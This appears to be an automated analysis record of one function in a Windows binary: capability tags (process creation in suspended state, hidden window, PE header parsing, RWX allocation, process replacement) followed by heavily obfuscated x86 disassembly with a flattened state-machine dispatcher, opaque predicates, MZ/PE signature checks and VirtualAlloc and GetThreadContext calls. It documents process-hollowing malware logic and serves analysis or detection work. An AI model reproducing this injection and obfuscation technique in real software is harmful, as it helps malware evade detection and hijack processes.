Function at 0x10007010
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Hide graphical window
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x164
mov eax, dword [0x1006c800]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x16c], 0x1e71b25f
mov eax, dword [ebp - 0x16c]
mov dword [ebp - 0x170], eax
sub eax, 0x81b7b1bc
je 0x1000f142
jmp 0x1000704c
mov eax, dword [ebp - 0x170]
sub eax, 0x82a9ad52
je 0x1000c0ca
jmp 0x10007062
mov eax, dword [ebp - 0x170]
sub eax, 0x82ad50e8
je 0x10009d71
jmp 0x10007078
mov eax, dword [ebp - 0x170]
sub eax, 0x8307c80c
je 0x1000a73a
jmp 0x1000708e
mov eax, dword [ebp - 0x170]
sub eax, 0x8348c2f7
je 0x1000eed0
jmp 0x100070a4
mov eax, dword [ebp - 0x170]
sub eax, 0x8433ad41
je 0x10009864
jmp 0x100070ba
mov eax, dword [ebp - 0x170]
sub eax, 0x843c6d14
je 0x1000c917
jmp 0x100070d0
mov eax, dword [ebp - 0x170]
sub eax, 0x845cd4da
je 0x1000b95f
jmp 0x100070e6
mov eax, dword [ebp - 0x170]
sub eax, 0x85651e8b
je 0x100095be
jmp 0x100070fc
mov eax, dword [ebp - 0x170]
sub eax, 0x861bf0b0
je 0x1000ec65
jmp 0x10007112
mov eax, dword [ebp - 0x170]
sub eax, 0x86df1c60
je 0x1000d73b
jmp 0x10007128
mov eax, dword [ebp - 0x170]
sub eax, 0x86f1353f
je 0x1000e85f
jmp 0x1000713e
mov eax, dword [ebp - 0x170]
sub eax, 0x86f38853
je 0x10009b50
jmp 0x10007154
mov eax, dword [ebp - 0x170]
sub eax, 0x87683907
je 0x1000d030
jmp 0x1000716a
mov eax, dword [ebp - 0x170]
sub eax, 0x87752e40
je 0x1000ce39
jmp 0x10007180
mov eax, dword [ebp - 0x170]
sub eax, 0x879a5a3d
je 0x1000e9d3
jmp 0x10007196
mov eax, dword [ebp - 0x170]
sub eax, 0x87e1a266
je 0x1000af8a
jmp 0x100071ac
mov eax, dword [ebp - 0x170]
sub eax, 0x87f1eb00
je 0x1000e083
jmp 0x100071c2
mov eax, dword [ebp - 0x170]
sub eax, 0x8815d730
je 0x1000a6bd
jmp 0x100071d8
mov eax, dword [ebp - 0x170]
sub eax, 0x8835e8d0
je 0x1000c528
jmp 0x100071ee
mov eax, dword [ebp - 0x170]
sub eax, 0x8afd620f
je 0x1000bc51
jmp 0x10007204
mov eax, dword [ebp - 0x170]
sub eax, 0x8c55e0d3
je 0x1000c191
jmp 0x1000721a
mov eax, dword [ebp - 0x170]
sub eax, 0x8cb08fde
je 0x1000cf6a
jmp 0x10007230
mov eax, dword [ebp - 0x170]
sub eax, 0x8cd89ed7
je 0x1000b6d8
jmp 0x10007246
mov eax, dword [ebp - 0x170]
sub eax, 0x8d8e60fe
je 0x1000c40c
jmp 0x1000725c
mov eax, dword [ebp - 0x170]
sub eax, 0x8e2f1006
je 0x10009706
jmp 0x10007272
mov eax, dword [ebp - 0x170]
sub eax, 0x8ebaf594
je 0x1000d5d7
jmp 0x10007288
mov eax, dword [ebp - 0x170]
sub eax, 0x8edee749
je 0x1000a053
jmp 0x1000729e
mov eax, dword [ebp - 0x170]
sub eax, 0x90c0ba89
je 0x1000bcae
jmp 0x100072b4
mov eax, dword [ebp - 0x170]
sub eax, 0x9172a6e5
je 0x1000d71f
jmp 0x100072ca
mov eax, dword [ebp - 0x170]
sub eax, 0x91be7daf
je 0x1000b7d4
jmp 0x100072e0
mov eax, dword [ebp - 0x170]
sub eax, 0x923ad270
je 0x1000b461
jmp 0x100072f6
mov eax, dword [ebp - 0x170]
sub eax, 0x946a6c47
je 0x1000cb73
jmp 0x1000730c
mov eax, dword [ebp - 0x170]
sub eax, 0x947ec704
je 0x1000b38e
jmp 0x10007322
mov eax, dword [ebp - 0x170]
sub eax, 0x9584092f
je 0x1000c42b
jmp 0x10007338
mov eax, dword [ebp - 0x170]
sub eax, 0x95c79aa2
je 0x1000b10e
jmp 0x1000734e
mov eax, dword [ebp - 0x170]
sub eax, 0x9619ffb6
je 0x1000a975
jmp 0x10007364
mov eax, dword [ebp - 0x170]
sub eax, 0x97503526
je 0x1000b68d
jmp 0x1000737a
mov eax, dword [ebp - 0x170]
sub eax, 0x9752292e
je 0x100095dd
jmp 0x10007390
mov eax, dword [ebp - 0x170]
sub eax, 0x9809de22
je 0x1000b418
jmp 0x100073a6
mov eax, dword [ebp - 0x170]
sub eax, 0x984ef2b4
je 0x100096e9
jmp 0x100073bc
mov eax, dword [ebp - 0x170]
sub eax, 0x989b2954
je 0x1000eaff
jmp 0x100073d2
mov eax, dword [ebp - 0x170]
sub eax, 0x98fc7bcb
je 0x1000c2fb
jmp 0x100073e8
mov eax, dword [ebp - 0x170]
sub eax, 0x993d579c
je 0x1000ab75
jmp 0x100073fe
mov eax, dword [ebp - 0x170]
sub eax, 0x9a888765
je 0x1000e436
jmp 0x10007414
mov eax, dword [ebp - 0x170]
sub eax, 0x9af1d790
je 0x10009f12
jmp 0x1000742a
mov eax, dword [ebp - 0x170]
sub eax, 0x9b2d03a9
je 0x1000e266
jmp 0x10007440
mov eax, dword [ebp - 0x170]
sub eax, 0x9c883de8
je 0x1000dfe9
jmp 0x10007456
mov eax, dword [ebp - 0x170]
sub eax, 0x9e0ac576
je 0x1000b59f
jmp 0x1000746c
mov eax, dword [ebp - 0x170]
sub eax, 0x9ef31052
je 0x1000aa72
jmp 0x10007482
mov eax, dword [ebp - 0x170]
sub eax, 0x9f47d894
je 0x1000b8da
jmp 0x10007498
mov eax, dword [ebp - 0x170]
sub eax, 0x9f4bf845
je 0x1000d082
jmp 0x100074ae
mov eax, dword [ebp - 0x170]
sub eax, 0x9f94acb5
je 0x1000b580
jmp 0x100074c4
mov eax, dword [ebp - 0x170]
sub eax, 0x9f9a1a3d
je 0x1000e6fc
jmp 0x100074da
mov eax, dword [ebp - 0x170]
sub eax, 0xa02a63f9
je 0x1000cb82
jmp 0x100074f0
mov eax, dword [ebp - 0x170]
sub eax, 0xa18cb61b
je 0x1000dd8c
jmp 0x10007506
mov eax, dword [ebp - 0x170]
sub eax, 0xa1a68c80
je 0x10009e9c
jmp 0x1000751c
mov eax, dword [ebp - 0x170]
sub eax, 0xa1e56780
je 0x1000ba18
jmp 0x10007532
mov eax, dword [ebp - 0x170]
sub eax, 0xa1e8214a
je 0x1000a4f7
jmp 0x10007548
mov eax, dword [ebp - 0x170]
sub eax, 0xa21e5baa
je 0x1000aa1a
jmp 0x1000755e
mov eax, dword [ebp - 0x170]
sub eax, 0xa2526cc1
je 0x1000a462
jmp 0x10007574
mov eax, dword [ebp - 0x170]
sub eax, 0xa31578dd
je 0x1000b4d7
jmp 0x1000758a
mov eax, dword [ebp - 0x170]
sub eax, 0xa3c285cf
je 0x1000c8db
jmp 0x100075a0
mov eax, dword [ebp - 0x170]
sub eax, 0xa4114c11
je 0x1000d0c4
jmp 0x100075b6
mov eax, dword [ebp - 0x170]
sub eax, 0xa6b15512
je 0x1000eb11
movss xmm0, dword [0x1001c3a0]
movss dword [ebp - 0xe4], xmm0
mov dword [ebp - 0x16c], 0x9752292e
jmp 0x1000f46d
movss xmm0, dword [0x1001c39c]
movss dword [ebp - 0xe4], xmm0
mov dword [ebp - 0x16c], 0x57adf480
jmp 0x1000f46d
mov dl, 1
mov eax, 0x4c7f1d7a
mov ecx, 0x8e2f1006
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x1000f46d
mov ecx, dword [0x1006db28]
mov eax, dword [0x1006db24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xcad3fc9
mov ecx, 0x4b7f4f2c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x1000f46d
mov ecx, dword [0x1006db28]
mov eax, dword [0x1006db24]
mov edx, ecx
add edx, 0x6ae708cc
sub edx, 1
sub edx, 0x6ae708cc
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xb527d135
mov ecx, 0x47f930c5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x1000f46d
mov dl, 1
mov eax, 0x2fc284f4
mov ecx, 0x365abfa1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x1000f46d
movss xmm0, dword [0x1001c224]
movss dword [ebp - 0xe8], xmm0
movss xmm0, dword [0x1001c220]
movss dword [ebp - 0xe8], xmm0
mov ecx, dword [0x1006db28]
mov eax, dword [0x1006db24]
mov edx, ecx
add edx, 0x8be304c7
sub edx, 1
sub edx, 0x8be304c7
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x43bbcf1c
mov ecx, 0x6d8d4e5a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x1000f46d
mov ecx, dword [0x1006db28]
mov eax, dword [0x1006db24]
mov edx, ecx
sub edx, 0xc5e776e8
sub edx, 1
add edx, 0xc5e776e8
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x44d26db8
mov ecx, 0x9af1d790
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x1000f46d
mov dword [ebp - 0x16c], 0xec56a924
jmp 0x1000f46d
mov dword [ebp - 0x16c], 0xef72b7a3
jmp 0x1000f46d
movss xmm0, dword [0x1001c20c]
movss dword [ebp - 0xe8], xmm0
mov ecx, dword [0x1006db28]
mov eax, dword [0x1006db24]
mov edx, ecx
sub edx, 0xbc10c9ff
sub edx, 1
add edx, 0xbc10c9ff
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x861bf0b0
mov ecx, 0x391deebd
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x1000f46d
movss xmm0, dword [0x1001c354]
movss dword [ebp - 0xe8], xmm0
mov dword [ebp - 0x16c], 0x69a2a1dc
jmp 0x1000f46d
mov dword [ebp - 0x16c], 0x45caf51
jmp 0x1000f46d
movss xmm0, dword [0x1001c204]
movss dword [ebp - 0xec], xmm0
mov eax, dword [0x1006db28]
mov ecx, dword [0x1006db24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xdcaa12c5
mov ecx, 0x36839a21
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x1000f46d
movss xmm0, dword [0x1001c330]
movss dword [ebp - 0xec], xmm0
movss xmm0, dword [0x1001c32c]
movss dword [ebp - 0xec], xmm0
mov dword [ebp - 0x16c], 0x51641db1
jmp 0x1000f46d
mov eax, dword [0x1006db28]
mov ecx, dword [0x1006db24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x7c32d42f
mov ecx, 0x22f2ef69
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x1000f46d
mov ecx, dword [0x1006db28]
mov eax, dword [0x1006db24]
mov edx, ecx
add edx, 0xe0803fca
sub edx, 1
sub edx, 0xe0803fca
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xd372c08e
mov ecx, 0xc8cd6b17
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x1000f46d
mov ecx, dword [0x1006db28]
mov eax, dword [0x1006db24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x334900cc
mov ecx, 0x46ab0b52
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x1000f46d
mov dword [ebp - 0x16c], 0x55658fa1
jmp 0x1000f46d
mov ecx, dword [0x1006db28]
mov eax, dword [0x1006db24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x4be0eb21
mov ecx, 0x4b50da43
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x1000f46d
movss xmm0, dword [0x1001c2fc]
movss dword [ebp - 0xf0], xmm0
mov dword [ebp - 0x16c], 0x491be9ca
jmp 0x1000f46d
mov eax, dword [0x1006db28]
mov ecx, dword [0x1006db24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xbfd67e7
mov ecx, 0x923ad270
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x1000f46d
mov ecx, dword [0x1006db28]
mov eax, dword [0x1006db24]
mov edx, ecx
sub edx, 0xe5bbc05d
sub edx, 1
add edx, 0xe5bbc05d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xbfd67e7
mov ecx, 0xa31578dd
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x1000f46d
mov dword [ebp - 0x16c], 0xff330acc
jmp 0x1000f46d
movss xmm0, dword [0x1001c2d8]
movss dword [ebp - 0xf4], xmm0
mov dword [ebp - 0x16c], 0x9e0ac576
jmp 0x1000f46d
mov dl, 1
mov eax, 0xecfc5aa
mov ecx, 0x120fc1d2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x1000f46d
mov dword [ebp - 0x16c], 0xecfc5aa
jmp 0x1000f46d
mov ecx, dword [0x1006db28]
mov eax, dword [0x1006db24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x2d9499c0
mov ecx, 0xbe92f408
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x1000f46d
mov dword [ebp - 0x16c], 0xf1bef3ce
jmp 0x1000f46d
movss xmm0, dword [0x1001c1d8]
movss dword [ebp - 0xf4], xmm0
mov eax, dword [0x1006db28]
mov ecx, dword [0x1006db24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xe2a22214
mov ecx, 0x134f59e7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x1000f46d
mov eax, dword [0x1006db28]
mov ecx, dword [0x1006db24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x7f5e5857
mov ecx, 0x6305b77e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x1000f46d
movss xmm0, dword [0x1001c2c0]
movss dword [ebp - 0xf4], xmm0
mov dword [ebp - 0x16c], 0xb5cacdb9
jmp 0x1000f46d
movss xmm0, dword [0x1001c2b4]
movss dword [ebp - 0xf8], xmm0
mov dword [ebp - 0x16c], 0x2feff93a
jmp 0x1000f46d
mov dl, 1
mov eax, 0xae9462be
mov ecx, 0x7b53d202
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x1000f46d
mov ecx, dword [0x1006db28]
mov eax, dword [0x1006db24]
mov edx, ecx
add edx, 0x83a50613
sub edx, 1
sub edx, 0x83a50613
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xd828817
mov ecx, 0x4b8df36b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x1000f46d
mov dword [ebp - 0x16c], 0x433ef906
jmp 0x1000f46d
mov dl, 1
mov eax, 0xb01cc1f9
mov ecx, 0xc40b3969
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x1000f46d
movss xmm0, dword [0x1001c274]
movss dword [ebp - 0xfc], xmm0
mov dword [ebp - 0x16c], 0x9584092f
jmp 0x1000f46d
mov ecx, dword [0x1006db28]
mov eax, dword [0x1006db24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x1d249cc7
mov ecx, 0xe4cd5e2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x1000f46d
mov eax, dword [0x1006db28]
mov ecx, dword [0x1006db24]
mov edx, eax
sub edx, 0x575c424c
sub edx, 1
add edx, 0x575c424c
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x2f6d91a0
mov ecx, 0xee3fd62c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x1000f46d
mov dl, 1
mov eax, 0x2a196ff
mov ecx, 0x4ced1f70
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x1000f46d
movss xmm0, dword [0x1001c268]
movss dword [ebp - 0xfc], xmm0
mov dword [ebp - 0x16c], 0x2a196ff
jmp 0x1000f46d
mov dword [ebp - 0x16c], 0xa02a63f9
jmp 0x1000f46d
mov dl, 1
mov eax, 0x341bd153
mov ecx, 0xca381c27
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x1000f46d
mov dl, 1
mov eax, 0x355bb7bb
mov ecx, 0x5d4b011d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x1000f46d
mov dl, 1
mov eax, 0xbd2c79e1
mov ecx, 0xe74115d9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x1000f46d
mov dword [ebp - 0x16c], 0xd0eb96b0
jmp 0x1000f46d
mov eax, dword [ebp - 0x108]
movzx edx, word [eax]
mov eax, 0x989b2954
mov ecx, 0xb7134b7f
cmp edx, 0x5a4d
cmove eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x1000f46d
mov eax, dword [ebp - 0xd4]
mov ecx, dword [ebp - 0x108]
mov edx, dword [ecx + 0x3c]
xor ecx, ecx
sub ecx, edx
sub eax, ecx
mov dword [ebp - 0x110], eax
mov edx, dword [ebp - 0x110]
mov eax, 0x11b45e6
mov ecx, 0x632fa74b
cmp dword [edx], 0x4550
cmove eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x1000f46d
xor eax, eax
sub esp, 0x10
mov dword [esp], 0
mov dword [esp + 4], 4
mov dword [esp + 8], 0x1000
mov dword [esp + 0xc], 4
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x10c], eax
mov eax, dword [ebp - 0x10c]
mov dword [eax], 0x10007
mov eax, dword [ebp - 0x10c]
mov ecx, dword [ebp - 0x1c]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
mov dword [ebp - 0xcc], eax
mov eax, dword [0x1006db28]
mov ecx, dword [0x1006db24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xd9d5c2d0
mov ecx, 0x28304d0f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x1000f46d
mov eax, 0x71e641d0
mov ecx, 0x86df1c60
cmp dword [ebp - 0x68], 0
cmove eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x1000f46d
mov ecx, dword [0x1006db28]
mov eax, dword [0x1006db24]
mov edx, ecx
add edx, 0x529c9529
sub edx, 1
sub edx, 0x529c9529
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x22f8dbdf
mov ecx, 0x52c79def
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x1000f46d
mov dl, byte [ebp - 0xb2]
mov eax, 0xfb524529
mov ecx, 0xdfd63359
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x1000f46d
mov eax, dword [ebp - 0xa8]
add eax, 0xd2954e72
add eax, 1
sub eax, 0xd2954e72
mov dword [ebp - 0x158], eax
mov eax, dword [0x1006db28]
mov ecx, dword [0x1006db24]
mov edx, eax
sub edx, 0x7dc8a60a
sub edx, 1
add edx, 0x7dc8a60a
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x280a8e03
mov ecx, 0xd09e88e5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x1000f46d
mov eax, dword [0x1006db28]
mov ecx, dword [0x1006db24]
mov edx, eax
sub edx, 0x2ad962a8
sub edx, 1
add edx, 0x2ad962a8
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xd2a20ac0
mov ecx, 0x1ecce674
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x1000f46d
mov eax, dword [0x1006db28]
mov ecx, dword [0x1006db24]
mov edx, eax
sub edx, 0x36de82ae
sub edx, 1
add edx, 0x36de82ae
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xf6732b9b
mov ecx, 0x3e740493
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x1000f46d
mov dl, byte [ebp - 0x85]
mov eax, 0xd3a2956c
mov ecx, 0xac6399cd
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x1000f46d
mov ecx, dword [0x1006db28]
mov eax, dword [0x1006db24]
mov edx, ecx
add edx, 0x184002c6
sub edx, 1
sub edx, 0x184002c6
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x49cc8a33
mov ecx, 0xb462de7e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x1000f46d
mov ecx, dword [0x1006db28]
mov eax, dword [0x1006db24]
mov edx, ecx
add edx, 0x9c63db2a
sub edx, 1
sub edx, 0x9c63db2a
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xcb2e6283
mov ecx, 0xcb762803
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x16c], eax
jmp 0x1000f46d
lea eax, [ebp - 0x20]
add eax, 4
mov dword [ebp - 0x6c], eax
mov dword [ebp - 0x16c], 0x64bb1d79
jmp 0x1000f46d
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1000fbf0
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
movss xmm0, dword [0x1001c20c]
movss dword [ebp - 0xe8], xmm0
mov dword [ebp - 0x16c], 0xa2526cc1
jmp 0x1000f46d
mov dword [ebp - 0x16c], 0x8dd6eed
jmp 0x1000f46d
mov dword [ebp - 0x16c], 0xcd0696a5
jmp 0x1000f46d
jmp 0x10007030